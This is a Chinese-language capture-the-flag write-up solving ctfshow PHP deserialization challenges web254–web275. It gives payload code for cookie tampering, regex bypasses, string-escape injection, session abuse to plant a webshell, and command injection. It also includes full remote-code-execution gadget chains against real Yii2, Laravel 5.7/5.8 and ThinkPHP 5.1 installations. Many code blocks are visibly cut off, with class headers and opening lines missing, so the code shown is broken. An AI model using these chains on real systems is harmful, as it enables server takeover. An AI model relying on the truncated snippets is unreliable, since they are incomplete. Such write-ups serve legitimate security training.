Ctfshow 反序列化

目录

 常见的反序列化魔术手法

web254

web255

web256

web257

web258

web259

web260

 web261

 web262

解法一:

 解法二:

 web263

web264

web265

web266

web267

 web268

web269

web270

web271

web272

web273

web274

web275

 常见的反序列化魔术手法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //析构函数,对象被销毁时触发
__construct() //构造函数,当创建对象时自动调用。
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

web254

直接改url就行

?username=xxxxxx&password=xxxxxx

web255

看源代码序言一个$isVip=true的cookie。

在本地写代码进行测试,构造如下代码,生成cookie

isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    
}

$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));

payload:

?username=xxxxxx&password=xxxxxx

web256

比上一题多了一步。

if($this->username!==$this->password)

代表反序列化后的username和password不相等。构造如下代码:

isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    
}

$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));

payload:

?username=xxxxxx&password=a

 Ctfshow 反序列化_第1张图片

web257

这里反序列化后执行login函数,我们找到login函数在class ctfShowUser 中

所以我们需要定义一个 ctfShowUser 的对象

发现ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo

同时发现backDoor类中也有getInfo,所以这里的backDoor就是关键

class=new backDoor();
    }
}


class backDoor{
    private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

然后按老操作。

Ctfshow 反序列化_第2张图片

web258

添加了正则过滤

    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }

相当与过滤   o:数字

将其中的o:数字改为o:+数字即可

 构造如下代码

class=new backDoor();
    }

}
class backDoor{
    public $code='system("tac flag.php");';
   
    }
    
$a = serialize(new ctfShowUser());
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo urlencode($c);


Ctfshow 反序列化_第3张图片

web259

web260

从题目中可以看到是get传参,直接url传 ctfshow_i_love_36D

Ctfshow 反序列化_第4张图片

 web261

username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']); 

魔术方法:__invoke()      当尝试将对象调用为函数时触发,但是这里没有相关的函数,所以这个相当于没用,主要看__destruct()函数。

$this->code==0x36d是弱类型比较,0x36d没有引号代表数字,十六进制0x36d转为十进制是877
我们只要让a=877.php,b为一句话木马即可

username='877.php';
        $this->password="";
    }
}

echo urlencode(serialize(new ctfshowvip()));

Ctfshow 反序列化_第5张图片

 web262

开始没有可以利用的点,发现还有message.php,那就直接访问。

Ctfshow 反序列化_第6张图片

 大概就是在cookie中给msg传入message序列化后进行base64编码的值,只要把token值设置为admin就好了

解法一:

直接构造反序列化。

Ctfshow 反序列化_第7张图片

 解法二:

$umsg = str_replace('fuck', 'loveU', serialize($msg));是一个典型的字符逃逸,短变长,可以利用它来任意构造token的值

我们来对比下字符替换前后序列化字符的长度,我们得知,过滤之后$to的长度还是4,但是里面有5个字符,这时候进行反序列化,实际上也只会截取4个字符,原本U后面的引号前移一位,这时候就会逃逸出一个字符U,很显然短变成长,每次转换多一个字符从fuck变为loveU,就会多逃逸一个字符
s:4:"love"U;s:5:"token";s:4:"user";}

其实我的理解就是前面替换的字符,让字符长度变长,这样后面的超过的字符就会逃逸。
";s:5:"token";s:5:"admin";}的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下

from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));

// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo urlencode(base64_encode($umsg));

 转换前s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}"正好135位
转换后s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU也正好135位,后面的27位字符";s:5:"token";s:5:"admin";}逃逸出来了,第一个字符"会补上去闭合$to已经结束了,用}闭合了,后面拼接的";s:5:"token";s:4:"user";}不是反序列化的格式,所以直接被忽略了,这时候通过反序列化就成功把token的值改成admin了Ctfshow 反序列化_第8张图片

 web263

这一关刚看到登录界面是懵逼的。

然后知道到www.zip下载源码

查看inc.php发现file_put_contents危险函数,$this->username=$username,$this->password=$password为可控点,可以写入一个webshell;

ini_set('session.serialize_handler', 'php');

 先判断一下session是否可控。如果不可控的话可能就要利用文件上传了。
全局搜索一下session,发现首先是这里:

	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。

构造如下:

username = "10.php";
        $this->password = '';
    }
}
echo base64_encode("|".serialize(new User()));

首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。
 

web264

又是字符逃逸

我们需要$token='admin';经过序列化是这样的s:5:"token";s:5:"admin";,加上闭合";s:5:"token";s:5:"admin";}一共27个字符,每次替换增加一个字符,需要27个fuck吃掉构造函数的$token='user';

index.php
get:?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
message.php
Cookie 任意msg=........

web265

只要让password全等于token就好了,而token是一个经过md5加密后的随机数,爆破是很难解出来的,这里可以用php的引用

 password = & $a -> token;
echo urlencode(serialize($a));

 然后get传参就ok了。

web266

发现执行魔术方法__destruct时会输出flag

原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。

抓包,输入  O:7:"ctfshow":2:{ctfshow}  即可

Ctfshow 反序列化_第9张图片

web267

一看到登录就没思路,看大佬。

先用damin/admin登录,然后查看about页面的源代码发现多了个这个

Ctfshow 反序列化_第10张图片

 访问?r=site%2Fabout&view-source拿到提示

Ctfshow 反序列化_第11张图片

checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

 发现可以回显

Ctfshow 反序列化_第12张图片

 不过这题system不行,而且好像没回显,但是我用passthru可以有回显

checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

Ctfshow 反序列化_第13张图片

 web268

对链子做了过滤,但是上一题链子依旧可以。

web269

用之前的链依然可以打通。

web270

这里用另一个链子:

checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

web271

这道题是Laravel5.7框架

参考aravel5.7 反序列化漏洞复现

command="system";
            $this->parameters[]="cat /flag";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
 
    use Illuminate\Foundation\Testing\PendingCommand;
 
    echo urlencode(serialize(new PendingCommand()));
}

POST传参即可得到flag

web272

参考laravel5.8 反序列化漏洞复现

events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="cat /flag";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";
 
    }
}
namespace{
 
    use Illuminate\Broadcasting\PendingBroadcast;
 
    echo urlencode(serialize(new PendingBroadcast()));
}
 

flag就在cookie中

web273

同上。

web274

TP5.1的框架

先要找到一个反序列化的入口,查看页面源代码。 

Ctfshow 反序列化_第14张图片

 链子:

append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
 
 
namespace think\process\pipes;
 
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
 
use think\Model;
 
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

之后在data后面加

&lin=tac /flag

得到flag 

Ctfshow 反序列化_第15张图片

web275

filename可控,只要$this->evilfile=true;可以执行系统命令了

?fn=php;ls .
?fn=php;tac flag.php

你可能感兴趣的:(php,开发语言)